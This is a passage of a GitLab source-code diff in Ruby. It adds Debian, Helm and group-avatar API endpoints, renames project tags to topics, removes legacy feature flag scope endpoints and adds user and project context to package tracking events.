+ end
+
+ namespace 'dists/*distribution', requirements: DISTRIBUTION_REQUIREMENTS do
+ # GET {projects|groups}/:id/packages/debian/dists/*distribution/Release.gpg
+ desc 'The Release file signature' do
+ detail 'This feature was introduced in GitLab 13.5'
+ end
+
+ route_setting :authentication, authenticate_non_public: true
+ get 'Release.gpg' do
+ not_found!
+ end
+
+ # GET {projects|groups}/:id/packages/debian/dists/*distribution/Release
+ desc 'The unsigned Release file' do
+ detail 'This feature was introduced in GitLab 13.5'
+ end
+
+ route_setting :authentication, authenticate_non_public: true
+ get 'Release' do
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/5835#note_414103286
+ 'TODO Release'
+ end
+
+ # GET {projects|groups}/:id/packages/debian/dists/*distribution/InRelease
+ desc 'The signed Release file' do
+ detail 'This feature was introduced in GitLab 13.5'
+ end
+
+ route_setting :authentication, authenticate_non_public: true
+ get 'InRelease' do
+ not_found!
+ end
+
+ params do
+ requires :component, type: String, desc: 'The Debian Component', regexp: Gitlab::Regex.debian_component_regex
+ requires :architecture, type: String, desc: 'The Debian Architecture', regexp: Gitlab::Regex.debian_architecture_regex
+ end
+
+ namespace ':component/binary-:architecture', requirements: COMPONENT_ARCHITECTURE_REQUIREMENTS do
+ # GET {projects|groups}/:id/packages/debian/dists/*distribution/:component/binary-:architecture/Packages
+ desc 'The binary files index' do
+ detail 'This feature was introduced in GitLab 13.5'
+ end
+
+ route_setting :authentication, authenticate_non_public: true
+ get 'Packages' do
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/5835#note_414103286
+ 'TODO Packages'
+ end
+ end
+ end
+
+ params do
+ requires :component, type: String, desc: 'The Debian Component', regexp: Gitlab::Regex.debian_component_regex
+ requires :letter, type: String, desc: 'The Debian Classification (first-letter or lib-first-letter)'
+ requires :source_package, type: String, desc: 'The Debian Source Package Name', regexp: Gitlab::Regex.debian_package_name_regex
+ end
+
+ namespace 'pool/:component/:letter/:source_package', requirements: COMPONENT_LETTER_SOURCE_PACKAGE_REQUIREMENTS do
+ # GET {projects|groups}/:id/packages/debian/pool/:component/:letter/:source_package/:file_name
+ params do
+ requires :file_name, type: String, desc: 'The Debian File Name'
+ end
+ desc 'The package' do
+ detail 'This feature was introduced in GitLab 13.5'
+ end
+
+ route_setting :authentication, authenticate_non_public: true
+ get ':file_name', requirements: FILE_NAME_REQUIREMENTS do
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/5835#note_414103286
+ 'TODO File'
+ end
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/concerns/packages/nuget_endpoints.rb b/lib/api/concerns/packages/nuget_endpoints.rb
index 5364eeb1880..208daeb3037 100644
--- a/lib/api/concerns/packages/nuget_endpoints.rb
+++ b/lib/api/concerns/packages/nuget_endpoints.rb
@@ -58,7 +58,8 @@ module API
end
get 'index', format: :json do
authorize_read_package!(project_or_group)
- track_package_event('cli_metadata', :nuget, category: 'API::NugetPackages')
+
+ track_package_event('cli_metadata', :nuget, **snowplow_gitlab_standard_context.merge(category: 'API::NugetPackages'))
present ::Packages::Nuget::ServiceIndexPresenter.new(project_or_group),
with: ::API::Entities::Nuget::ServiceIndex
@@ -117,7 +118,7 @@ module API
results = search_packages(params[:q], search_options)
- track_package_event('search_package', :nuget, category: 'API::NugetPackages')
+ track_package_event('search_package', :nuget, **snowplow_gitlab_standard_context.merge(category: 'API::NugetPackages'))
present ::Packages::Nuget::SearchResultsPresenter.new(results),
with: ::API::Entities::Nuget::SearchResults
diff --git a/lib/api/debian_group_packages.rb b/lib/api/debian_group_packages.rb
index 06edab662bf..c6116a8b28f 100644
--- a/lib/api/debian_group_packages.rb
+++ b/lib/api/debian_group_packages.rb
@@ -7,6 +7,14 @@ module API
end
resource :groups, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
+ rescue_from ArgumentError do |e|
+ render_api_error!(e.message, 400)
+ end
+
+ rescue_from ActiveRecord::RecordInvalid do |e|
+ render_api_error!(e.message, 400)
+ end
+
before do
require_packages_enabled!
@@ -16,7 +24,7 @@ module API
end
namespace ':id/-' do
- include ::API::Concerns::Packages::DebianEndpoints
+ include ::API::Concerns::Packages::DebianPackageEndpoints
end
end
end
diff --git a/lib/api/debian_project_packages.rb b/lib/api/debian_project_packages.rb
index 0ed828fd639..70ddf9dea37 100644
--- a/lib/api/debian_project_packages.rb
+++ b/lib/api/debian_project_packages.rb
@@ -7,7 +7,15 @@ module API
end
resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
- before do
+ rescue_from ArgumentError do |e|
+ render_api_error!(e.message, 400)
+ end
+
+ rescue_from ActiveRecord::RecordInvalid do |e|
+ render_api_error!(e.message, 400)
+ end
+
+ after_validation do
require_packages_enabled!
not_found! unless ::Feature.enabled?(:debian_packages, user_project)
@@ -16,13 +24,20 @@ module API
end
namespace ':id' do
- include ::API::Concerns::Packages::DebianEndpoints
+ helpers do
+ def project_or_group
+ user_project
+ end
+ end
+
+ include ::API::Concerns::Packages::DebianPackageEndpoints
params do
requires :file_name, type: String, desc: 'The file name'
end
namespace 'packages/debian/:file_name', requirements: FILE_NAME_REQUIREMENTS do
+ format :txt
content_type :json, Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE
# PUT {projects|groups}/:id/packages/debian/:file_name
@@ -35,8 +50,22 @@ module API
authorize_upload!(authorized_user_project)
bad_request!('File is too large') if authorized_user_project.actual_limits.exceeded?(:debian_max_file_size, params[:file].size)
- track_package_event('push_package', :debian)
+ file_params = {
+ file: params['file'],
+ file_name: params['file_name'],
+ file_sha1: params['file.sha1'],
+ file_md5: params['file.md5']
+ }
+
+ package = ::Packages::Debian::FindOrCreateIncomingService.new(authorized_user_project, current_user).execute
+
+ package_file = ::Packages::Debian::CreatePackageFileService.new(package, file_params).execute
+
+ if params['file_name'].end_with? '.changes'
+ ::Packages::Debian::ProcessChangesWorker.perform_async(package_file.id, current_user.id) # rubocop:disable CodeReuse/Worker
+ end
+ track_package_event('push_package', :debian, user: current_user, project: authorized_user_project, namespace: authorized_user_project.namespace)
created!
rescue ObjectStorage::RemoteStoreError => e
Gitlab::ErrorTracking.track_exception(e, extra: { file_name: params[:file_name], project_id: authorized_user_project.id })
diff --git a/lib/api/entities/basic_project_details.rb b/lib/api/entities/basic_project_details.rb
index 2de49d6ed40..c75b74b4368 100644
--- a/lib/api/entities/basic_project_details.rb
+++ b/lib/api/entities/basic_project_details.rb
@@ -4,15 +4,13 @@ module API
module Entities
class BasicProjectDetails < Entities::ProjectIdentity
include ::API::ProjectsRelationBuilder
+ include Gitlab::Utils::StrongMemoize
expose :default_branch, if: -> (project, options) { Ability.allowed?(options[:current_user], :download_code, project) }
# Avoids an N+1 query: https://github.com/mbleigh/acts-as-taggable-on/issues/91#issuecomment-168273770
- expose :tag_list do |project|
- # Tags is a preloaded association. If we perform then sorting
- # through the database, it will trigger a new query, ending up
- # in an N+1 if we have several projects
- project.tags.pluck(:name).sort # rubocop:disable CodeReuse/ActiveRecord
- end
+
+ expose :topic_names, as: :tag_list
+ expose :topic_names, as: :topics
expose :ssh_url_to_repo, :http_url_to_repo, :web_url, :readme_url
@@ -40,16 +38,29 @@ module API
# rubocop: disable CodeReuse/ActiveRecord
def self.preload_relation(projects_relation, options = {})
- # Preloading tags, should be done with using only `:tags`,
- # as `:tags` are defined as: `has_many :tags, through: :taggings`
- # N+1 is solved then by using `subject.tags.map(&:name)`
+ # Preloading topics, should be done with using only `:topics`,
+ # as `:topics` are defined as: `has_many :topics, through: :taggings`
+ # N+1 is solved then by using `subject.topics.map(&:name)`
# MR describing the solution: https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/20555
projects_relation.preload(:project_feature, :route)
- .preload(:import_state, :tags)
+ .preload(:import_state, :topics)
.preload(:auto_devops)
.preload(namespace: [:route, :owner])
end
# rubocop: enable CodeReuse/ActiveRecord
+
+ private
+
+ alias_method :project, :object
+
+ def topic_names
+ # Topics is a preloaded association. If we perform then sorting
+ # through the database, it will trigger a new query, ending up
+ # in an N+1 if we have several projects
+ strong_memoize(:topic_names) do
+ project.topics.pluck(:name).sort # rubocop:disable CodeReuse/ActiveRecord
+ end
+ end
end
end
end
diff --git a/lib/api/entities/commit.rb b/lib/api/entities/commit.rb
index 3eaf896f1ac..fd23c23b980 100644
--- a/lib/api/entities/commit.rb
+++ b/lib/api/entities/commit.rb
@@ -9,6 +9,7 @@ module API
expose :safe_message, as: :message
expose :author_name, :author_email, :authored_date
expose :committer_name, :committer_email, :committed_date
+ expose :trailers
expose :web_url do |commit, _options|
Gitlab::UrlBuilder.build(commit)
diff --git a/lib/api/entities/group_detail.rb b/lib/api/entities/group_detail.rb
index e63a3fc1334..408254a89be 100644
--- a/lib/api/entities/group_detail.rb
+++ b/lib/api/entities/group_detail.rb
@@ -29,11 +29,7 @@ module API
end
def projects_limit
- if ::Feature.enabled?(:limit_projects_in_groups_api, default_enabled: true)
- GroupProjectsFinder::DEFAULT_PROJECTS_LIMIT
- else
- nil
- end
+ GroupProjectsFinder::DEFAULT_PROJECTS_LIMIT
end
end
end
diff --git a/lib/api/entities/issue_basic.rb b/lib/api/entities/issue_basic.rb
index d27cc5498bd..6c332870228 100644
--- a/lib/api/entities/issue_basic.rb
+++ b/lib/api/entities/issue_basic.rb
@@ -23,7 +23,7 @@ module API
expose :issue_type,
as: :type,
format_with: :upcase,
- documentation: { type: "String", desc: "One of #{Issue.issue_types.keys.map(&:upcase)}" }
+ documentation: { type: "String", desc: "One of #{::Issue.issue_types.keys.map(&:upcase)}" }
expose :assignee, using: ::API::Entities::UserBasic do |issue|
issue.assignees.first
diff --git a/lib/api/entities/label_basic.rb b/lib/api/entities/label_basic.rb
index 00ecea26ec3..ed52688638e 100644
--- a/lib/api/entities/label_basic.rb
+++ b/lib/api/entities/label_basic.rb
@@ -3,7 +3,7 @@
module API
module Entities
class LabelBasic < Grape::Entity
- expose :id, :name, :color, :description, :description_html, :text_color, :remove_on_close
+ expose :id, :name, :color, :description, :description_html, :text_color
end
end
end
diff --git a/lib/api/entities/merge_request_basic.rb b/lib/api/entities/merge_request_basic.rb
index cf8d03bf176..d5cf2f653db 100644
--- a/lib/api/entities/merge_request_basic.rb
+++ b/lib/api/entities/merge_request_basic.rb
@@ -36,7 +36,11 @@ module API
merge_request.labels.map(&:title).sort
end
end
- expose :work_in_progress?, as: :work_in_progress
+ expose :draft?, as: :draft
+
+ # [Deprecated] see draft
+ #
+ expose :draft?, as: :work_in_progress
expose :milestone, using: Entities::Milestone
expose :merge_when_pipeline_succeeds
diff --git a/lib/api/entities/package.rb b/lib/api/entities/package.rb
index 2f60a0bf6bd..1efd457aa5f 100644
--- a/lib/api/entities/package.rb
+++ b/lib/api/entities/package.rb
@@ -25,8 +25,12 @@ module API
expose :status
expose :_links do
- expose :web_path do |package|
- ::Gitlab::Routing.url_helpers.project_package_path(package.project, package)
+ expose :web_path do |package, opts|
+ if package.infrastructure_package?
+ ::Gitlab::Routing.url_helpers.namespace_project_infrastructure_registry_path(opts[:namespace], package.project, package)
+ else
+ ::Gitlab::Routing.url_helpers.project_package_path(package.project, package)
+ end
end
expose :delete_api_path, if: can_destroy(:package, &:project) do |package|
diff --git a/lib/api/entities/packages/debian/distribution.rb b/lib/api/entities/packages/debian/distribution.rb
new file mode 100644
index 00000000000..97a3c479f40
--- /dev/null
+++ b/lib/api/entities/packages/debian/distribution.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Packages
+ module Debian
+ class Distribution < Grape::Entity
+ expose :id
+ expose :codename
+ expose :suite
+ expose :origin
+ expose :label
+ expose :version
+ expose :description
+ expose :valid_time_duration_seconds
+
+ expose :component_names, as: :components
+ expose :architecture_names, as: :architectures
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/project.rb b/lib/api/entities/project.rb
index 442013c07dd..68d91fc6970 100644
--- a/lib/api/entities/project.rb
+++ b/lib/api/entities/project.rb
@@ -43,7 +43,6 @@ module API
expose :visibility
expose :owner, using: Entities::UserBasic, unless: ->(project, options) { project.group }
expose :resolve_outdated_diff_discussions
- expose :container_registry_enabled
expose :container_expiration_policy, using: Entities::ContainerExpirationPolicy,
if: -> (project, _) { project.container_expiration_policy }
@@ -54,6 +53,13 @@ module API
expose(:wiki_enabled) { |project, options| project.feature_available?(:wiki, options[:current_user]) }
expose(:jobs_enabled) { |project, options| project.feature_available?(:builds, options[:current_user]) }
expose(:snippets_enabled) { |project, options| project.feature_available?(:snippets, options[:current_user]) }
+ expose(:container_registry_enabled) do |project, options|
+ if ::Feature.enabled?(:read_container_registry_access_level, project.namespace, default_enabled: :yaml)
+ project.feature_available?(:container_registry, options[:current_user])
+ else
+ project.read_attribute(:container_registry_enabled)
+ end
+ end
expose :service_desk_enabled
expose :service_desk_address
@@ -89,6 +95,7 @@ module API
expose :runners_token, if: lambda { |_project, options| options[:user_can_admin_project] }
expose :ci_default_git_depth
expose :ci_forward_deployment_enabled
+ expose :ci_job_token_scope_enabled
expose :public_builds, as: :public_jobs
expose :build_git_strategy, if: lambda { |project, options| options[:user_can_admin_project] } do |project, options|
project.build_allow_git_fetch ? 'fetch' : 'clone'
@@ -108,6 +115,7 @@ module API
expose :remove_source_branch_after_merge
expose :printing_merge_request_link_enabled
expose :merge_method
+ expose :squash_option
expose :suggestion_commit_message
expose :statistics, using: 'API::Entities::ProjectStatistics', if: -> (project, options) {
options[:statistics] && Ability.allowed?(options[:current_user], :read_statistics, project)
@@ -120,12 +128,13 @@ module API
expose :repository_storage, if: ->(project, options) {
Ability.allowed?(options[:current_user], :change_repository_storage, project)
}
+ expose :keep_latest_artifacts_available?, as: :keep_latest_artifact
# rubocop: disable CodeReuse/ActiveRecord
def self.preload_relation(projects_relation, options = {})
- # Preloading tags, should be done with using only `:tags`,
- # as `:tags` are defined as: `has_many :tags, through: :taggings`
- # N+1 is solved then by using `subject.tags.map(&:name)`
+ # Preloading topics, should be done with using only `:topics`,
+ # as `:topics` are defined as: `has_many :topics, through: :taggings`
+ # N+1 is solved then by using `subject.topics.map(&:name)`
# MR describing the solution: https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/20555
super(projects_relation).preload(group: :namespace_settings)
.preload(:ci_cd_settings)
@@ -136,7 +145,7 @@ module API
.preload(project_group_links: { group: :route },
fork_network: :root_project,
fork_network_member: :forked_from_project,
- forked_from_project: [:route, :forks, :tags, :group, :project_feature, namespace: [:route, :owner]])
+ forked_from_project: [:route, :topics, :group, :project_feature, namespace: [:route, :owner]])
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/lib/api/entities/project_repository_storage.rb b/lib/api/entities/project_repository_storage.rb
new file mode 100644
index 00000000000..0816bebde2c
--- /dev/null
+++ b/lib/api/entities/project_repository_storage.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ class ProjectRepositoryStorage < Grape::Entity
+ include Gitlab::Routing
+
+ expose :disk_path do |project|
+ project.repository.disk_path
+ end
+
+ expose :id, as: :project_id
+ expose :repository_storage, :created_at
+ end
+ end
+end
diff --git a/lib/api/entities/runner.rb b/lib/api/entities/runner.rb
index 6165b54cddb..e78f14cf920 100644
--- a/lib/api/entities/runner.rb
+++ b/lib/api/entities/runner.rb
@@ -8,6 +8,7 @@ module API
expose :ip_address
expose :active
expose :instance_type?, as: :is_shared
+ expose :runner_type
expose :name
expose :online?, as: :online
expose :status
diff --git a/lib/api/entities/snippet.rb b/lib/api/entities/snippet.rb
index f05e593a302..af885aaf0eb 100644
--- a/lib/api/entities/snippet.rb
+++ b/lib/api/entities/snippet.rb
@@ -5,16 +5,22 @@ module API
class Snippet < BasicSnippet
expose :author, using: Entities::UserBasic
expose :file_name do |snippet|
- snippet.file_name_on_repo || snippet.file_name
+ snippet_files.first || snippet.file_name
end
expose :files do |snippet, options|
- snippet.list_files.map do |file|
+ snippet_files.map do |file|
{
path: file,
raw_url: Gitlab::UrlBuilder.build(snippet, file: file, ref: snippet.repository.root_ref)
}
end
end
+
+ private
+
+ def snippet_files
+ @snippet_files ||= object.list_files
+ end
end
end
end
diff --git a/lib/api/entities/user_preferences.rb b/lib/api/entities/user_preferences.rb
index 7a6df9b6c59..ceee6c610d3 100644
--- a/lib/api/entities/user_preferences.rb
+++ b/lib/api/entities/user_preferences.rb
@@ -3,7 +3,7 @@
module API
module Entities
class UserPreferences < Grape::Entity
- expose :id, :user_id, :view_diffs_file_by_file
+ expose :id, :user_id, :view_diffs_file_by_file, :show_whitespace_in_diffs
end
end
end
diff --git a/lib/api/feature_flag_scopes.rb b/lib/api/feature_flag_scopes.rb
deleted file mode 100644
index 3f3bf4d9f42..00000000000
--- a/lib/api/feature_flag_scopes.rb
+++ /dev/null
@@ -1,160 +0,0 @@
-# frozen_string_literal: true
-
-module API
- class FeatureFlagScopes < ::API::Base
- include PaginationParams
-
- ENVIRONMENT_SCOPE_ENDPOINT_REQUIREMENTS = FeatureFlags::FEATURE_FLAG_ENDPOINT_REQUIREMENTS
- .merge(environment_scope: API::NO_SLASH_URL_PART_REGEX)
-
- feature_category :feature_flags
-
- before do
- authorize_read_feature_flags!
- end
-
- params do
- requires :id, type: String, desc: 'The ID of a project'
- end
- resource 'projects/:id', requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
- resource :feature_flag_scopes do
- desc 'Get all effective feature flags under the environment' do
- detail 'This feature was introduced in GitLab 12.5'
- success ::API::Entities::FeatureFlag::DetailedLegacyScope
- end
- params do
- requires :environment, type: String, desc: 'The environment name'
- end
- get do
- present scopes_for_environment, with: ::API::Entities::FeatureFlag::DetailedLegacyScope
- end
- end
-
- params do
- requires :name, type: String, desc: 'The name of the feature flag'
- end
- resource 'feature_flags/:name', requirements: FeatureFlags::FEATURE_FLAG_ENDPOINT_REQUIREMENTS do
- resource :scopes do
- desc 'Get all scopes of a feature flag' do
- detail 'This feature was introduced in GitLab 12.5'
- success ::API::Entities::FeatureFlag::LegacyScope
- end
- params do
- use :pagination
- end
- get do
- present paginate(feature_flag.scopes), with: ::API::Entities::FeatureFlag::LegacyScope
- end
-
- desc 'Create a scope of a feature flag' do
- detail 'This feature was introduced in GitLab 12.5'
- success ::API::Entities::FeatureFlag::LegacyScope
- end
- params do
- requires :environment_scope, type: String, desc: 'The environment scope of the scope'
- requires :active, type: Boolean, desc: 'Whether the scope is active'
- requires :strategies, type: JSON, desc: 'The strategies of the scope'
- end
- post do
- authorize_update_feature_flag!
-
- result = ::FeatureFlags::UpdateService
- .new(user_project, current_user, scopes_attributes: [declared_params])
- .execute(feature_flag)
-
- if result[:status] == :success
- present scope, with: ::API::Entities::FeatureFlag::LegacyScope
- else
- render_api_error!(result[:message], result[:http_status])
- end
- end
-
- params do
- requires :environment_scope, type: String, desc: 'URL-encoded environment scope'
- end
- resource ':environment_scope', requirements: ENVIRONMENT_SCOPE_ENDPOINT_REQUIREMENTS do
- desc 'Get a scope of a feature flag' do
- detail 'This feature was introduced in GitLab 12.5'
- success ::API::Entities::FeatureFlag::LegacyScope
- end
- get do
- present scope, with: ::API::Entities::FeatureFlag::LegacyScope
- end
-
- desc 'Update a scope of a feature flag' do
- detail 'This feature was introduced in GitLab 12.5'
- success ::API::Entities::FeatureFlag::LegacyScope
- end
- params do
- optional :active, type: Boolean, desc: 'Whether the scope is active'
- optional :strategies, type: JSON, desc: 'The strategies of the scope'
- end
- put do
- authorize_update_feature_flag!
-
- scope_attributes = declared_params.merge(id: scope.id)
-
- result = ::FeatureFlags::UpdateService
- .new(user_project, current_user, scopes_attributes: [scope_attributes])
- .execute(feature_flag)
-
- if result[:status] == :success
- updated_scope = result[:feature_flag].scopes
- .find { |scope| scope.environment_scope == params[:environment_scope] }
-
- present updated_scope, with: ::API::Entities::FeatureFlag::LegacyScope
- else
- render_api_error!(result[:message], result[:http_status])
- end
- end
-
- desc 'Delete a scope from a feature flag' do
- detail 'This feature was introduced in GitLab 12.5'
- success ::API::Entities::FeatureFlag::LegacyScope
- end
- delete do
- authorize_update_feature_flag!
-
- param = { scopes_attributes: [{ id: scope.id, _destroy: true }] }
-
- result = ::FeatureFlags::UpdateService
- .new(user_project, current_user, param)
- .execute(feature_flag)
-
- if result[:status] == :success
- status :no_content
- else
- render_api_error!(result[:message], result[:http_status])
- end
- end
- end
- end
- end
- end
-
- helpers do
- def authorize_read_feature_flags!
- authorize! :read_feature_flag, user_project
- end
-
- def authorize_update_feature_flag!
- authorize! :update_feature_flag, feature_flag
- end
-
- def feature_flag
- @feature_flag ||= user_project.operations_feature_flags
- .find_by_name!(params[:name])
- end
-
- def scope
- @scope ||= feature_flag.scopes
- .find_by_environment_scope!(CGI.unescape(params[:environment_scope]))
- end
-
- def scopes_for_environment
- Operations::FeatureFlagScope
- .for_unleash_client(user_project, params[:environment])
- end
- end
- end
-end
diff --git a/lib/api/feature_flags.rb b/lib/api/feature_flags.rb
index 6fdc4535be3..fb5858bc10b 100644
--- a/lib/api/feature_flags.rb
+++ b/lib/api/feature_flags.rb
@@ -90,56 +90,11 @@ module API
end
get do
authorize_read_feature_flag!
+ exclude_legacy_flags_check!
present_entity(feature_flag)
end
- desc 'Enable a strategy for a feature flag on an environment' do
- detail 'This feature was introduced in GitLab 12.5'
- success ::API::Entities::FeatureFlag
- end
- params do
- requires :environment_scope, type: String, desc: 'The environment scope of the feature flag'
- requires :strategy, type: JSON, desc: 'The strategy to be enabled on the scope'
- end
- post :enable do
- not_found! unless Feature.enabled?(:feature_flag_api, user_project)
- render_api_error!('Version 2 flags not supported', :unprocessable_entity) if new_version_flag_present?
-
- result = ::FeatureFlags::EnableService
- .new(user_project, current_user, params).execute
-
- if result[:status] == :success
- status :ok
- present_entity(result[:feature_flag])
- else
- render_api_error!(result[:message], result[:http_status])
- end
- end
-
- desc 'Disable a strategy for a feature flag on an environment' do
- detail 'This feature is going to be introduced in GitLab 12.5 if `feature_flag_api` feature flag is removed'
- success ::API::Entities::FeatureFlag
- end
- params do
- requires :environment_scope, type: String, desc: 'The environment scope of the feature flag'
- requires :strategy, type: JSON, desc: 'The strategy to be disabled on the scope'
- end
- post :disable do
- not_found! unless Feature.enabled?(:feature_flag_api, user_project)
- render_api_error!('Version 2 flags not supported', :unprocessable_entity) if feature_flag.new_version_flag?
-
- result = ::FeatureFlags::DisableService
- .new(user_project, current_user, params).execute
-
- if result[:status] == :success
- status :ok
- present_entity(result[:feature_flag])
- else
- render_api_error!(result[:message], result[:http_status])
- end
- end
-
desc 'Update a feature flag' do
detail 'This feature was introduced in GitLab 13.2'
success ::API::Entities::FeatureFlag
@@ -162,6 +117,7 @@ module API
end
put do
authorize_update_feature_flag!
+ exclude_legacy_flags_check!
render_api_error!('PUT operations are not supported for legacy feature flags', :unprocessable_entity) if feature_flag.legacy_flag?
attrs = declared_params(include_missing: false)
@@ -232,6 +188,10 @@ module API
@feature_flag ||= user_project.operations_feature_flags.find_by_name!(params[:feature_flag_name])
end
+ def project
+ @project ||= feature_flag.project
+ end
+
def new_version_flag_present?
user_project.operations_feature_flags.new_version_flag.find_by_name(params[:name]).present?
end
@@ -245,6 +205,12 @@ module API
hash[key] = yield(hash[key]) if hash.key?(key)
hash
end
+
+ def exclude_legacy_flags_check!
+ if feature_flag.legacy_flag?
+ not_found!
+ end
+ end
end
end
end
diff --git a/lib/api/generic_packages.rb b/lib/api/generic_packages.rb
index d0680ad7bc5..a57d6bbcd2a 100644
--- a/lib/api/generic_packages.rb
+++ b/lib/api/generic_packages.rb
@@ -62,7 +62,7 @@ module API
authorize_upload!(project)
bad_request!('File is too large') if max_file_size_exceeded?
- ::Gitlab::Tracking.event(self.options[:for].name, 'push_package')
+ ::Gitlab::Tracking.event(self.options[:for].name, 'push_package', user: current_user, project: project, namespace: project.namespace)
create_package_file_params = declared_params.merge(build: current_authenticated_job)
::Packages::Generic::CreatePackageFileService
@@ -96,7 +96,7 @@ module API
package = ::Packages::Generic::PackageFinder.new(project).execute!(params[:package_name], params[:package_version])
package_file = ::Packages::PackageFileFinder.new(package, params[:file_name]).execute!
- ::Gitlab::Tracking.event(self.options[:for].name, 'pull_package')
+ ::Gitlab::Tracking.event(self.options[:for].name, 'pull_package', user: current_user, project: project, namespace: project.namespace)
present_carrierwave_file!(package_file.file)
end
diff --git a/lib/api/group_avatar.rb b/lib/api/group_avatar.rb
new file mode 100644
index 00000000000..ddf6787f913
--- /dev/null
+++ b/lib/api/group_avatar.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module API
+ class GroupAvatar < ::API::Base
+ helpers Helpers::GroupsHelpers
+
+ feature_category :subgroups
+
+ resource :groups do
+ desc 'Download the group avatar' do
+ detail 'This feature was introduced in GitLab 14.0'
+ end
+ params do
+ requires :id, type: String, desc: 'The group id'
+ end
+ get ':id/avatar' do
+ present_carrierwave_file!(user_group.avatar)
+ end
+ end
+ end
+end
diff --git a/lib/api/group_container_repositories.rb b/lib/api/group_container_repositories.rb
index 4fede0ad583..96175f31696 100644
--- a/lib/api/group_container_repositories.rb
+++ b/lib/api/group_container_repositories.rb
@@ -31,7 +31,7 @@ module API
user: current_user, subject: user_group
).execute
- track_package_event('list_repositories', :container)
+ track_package_event('list_repositories', :container, user: current_user, namespace: user_group)
present paginate(repositories), with: Entities::ContainerRegistry::Repository, tags: params[:tags], tags_count: params[:tags_count]
end
diff --git a/lib/api/group_export.rb b/lib/api/group_export.rb
index 6134515032f..7e4fdba6033 100644
--- a/lib/api/group_export.rb
+++ b/lib/api/group_export.rb
@@ -23,7 +23,11 @@ module API
check_rate_limit! :group_download_export, [current_user, user_group]
if user_group.export_file_exists?
- present_carrierwave_file!(user_group.export_file)
+ if user_group.export_archive_exists?
+ present_carrierwave_file!(user_group.export_file)
+ else
+ render_api_error!('The group export file is not available yet', 404)
+ end
else
render_api_error!('404 Not found or has expired', 404)
end
diff --git a/lib/api/group_packages.rb b/lib/api/group_packages.rb
index ab4e91ff925..d9010dfd329 100644
--- a/lib/api/group_packages.rb
+++ b/lib/api/group_packages.rb
@@ -43,7 +43,7 @@ module API
declared(params).slice(:exclude_subgroups, :order_by, :sort, :package_type, :package_name, :include_versionless, :status)
).execute
- present paginate(packages), with: ::API::Entities::Package, user: current_user, group: true
+ present paginate(packages), with: ::API::Entities::Package, user: current_user, group: true, namespace: user_group.root_ancestor
end
end
end
diff --git a/lib/api/groups.rb b/lib/api/groups.rb
index 1a604e70bf1..0efb8b57885 100644
--- a/lib/api/groups.rb
+++ b/lib/api/groups.rb
@@ -372,7 +372,7 @@ module API
expires_at: params[:expires_at]
}
- result = ::Groups::GroupLinks::CreateService.new(shared_with_group, current_user, group_link_create_params).execute(shared_group)
+ result = ::Groups::GroupLinks::CreateService.new(shared_group, shared_with_group, current_user, group_link_create_params).execute
shared_group.preload_shared_group_links
if result[:status] == :success
diff --git a/lib/api/helm_packages.rb b/lib/api/helm_packages.rb
new file mode 100644
index 00000000000..dc5630a1395
--- /dev/null
+++ b/lib/api/helm_packages.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+###
+# API endpoints for the Helm package registry
+module API
+ class HelmPackages < ::API::Base
+ helpers ::API::Helpers::PackagesHelpers
+ helpers ::API::Helpers::Packages::BasicAuthHelpers
+ include ::API::Helpers::Authentication
+
+ feature_category :package_registry
+
+ FILE_NAME_REQUIREMENTS = {
+ file_name: API::NO_SLASH_URL_PART_REGEX
+ }.freeze
+
+ content_type :binary, 'application/octet-stream'
+
+ authenticate_with do |accept|
+ accept.token_types(:personal_access_token, :deploy_token, :job_token)
+ .sent_through(:http_basic_auth)
+ end
+
+ before do
+ require_packages_enabled!
+ end
+
+ after_validation do
+ not_found! unless Feature.enabled?(:helm_packages, authorized_user_project)
+ end
+
+ params do
+ requires :id, type: String, desc: 'The ID or full path of a project'
+ end
+ resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
+ namespace ':id/packages/helm' do
+ desc 'Download a chart' do
+ detail 'This feature was introduced in GitLab 14.0'
+ end
+ params do
+ requires :channel, type: String, desc: 'Helm channel', regexp: Gitlab::Regex.helm_channel_regex
+ requires :file_name, type: String, desc: 'Helm package file name'
+ end
+ get ":channel/charts/:file_name.tgz", requirements: FILE_NAME_REQUIREMENTS do
+ authorize_read_package!(authorized_user_project)
+
+ package_file = Packages::Helm::PackageFilesFinder.new(authorized_user_project, params[:channel], file_name: "#{params[:file_name]}.tgz").execute.last!
+
+ track_package_event('pull_package', :helm, project: authorized_user_project, namespace: authorized_user_project.namespace)
+
+ present_carrierwave_file!(package_file.file)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/helpers.rb b/lib/api/helpers.rb
index 632717e1b73..6ce04be373f 100644
--- a/lib/api/helpers.rb
+++ b/lib/api/helpers.rb
@@ -74,6 +74,11 @@ module API
save_current_user_in_env(@current_user) if @current_user
+ if @current_user
+ ::Gitlab::Database::LoadBalancing::RackMiddleware
+ .stick_or_unstick(env, :user, @current_user.id)
+ end
+
@current_user
end
# rubocop:enable Gitlab/ModuleWithInstanceVariables
@@ -482,9 +487,8 @@ module API
def handle_api_exception(exception)
if report_exception?(exception)
define_params_for_grape_middleware
- Gitlab::ApplicationContext.with_context(user: current_user) do
- Gitlab::ErrorTracking.track_exception(exception)
- end
+ Gitlab::ApplicationContext.push(user: current_user)
+ Gitlab::ErrorTracking.track_exception(exception)
end
# This is used with GrapeLogging::Loggers::ExceptionLogger
@@ -599,6 +603,7 @@ module API
:custom_attributes,
:last_activity_after,
:last_activity_before,
+ :topic,
:repository_storage)
.symbolize_keys
.compact
@@ -611,7 +616,6 @@ module API
finder_params[:user] = params.delete(:user) if params[:user]
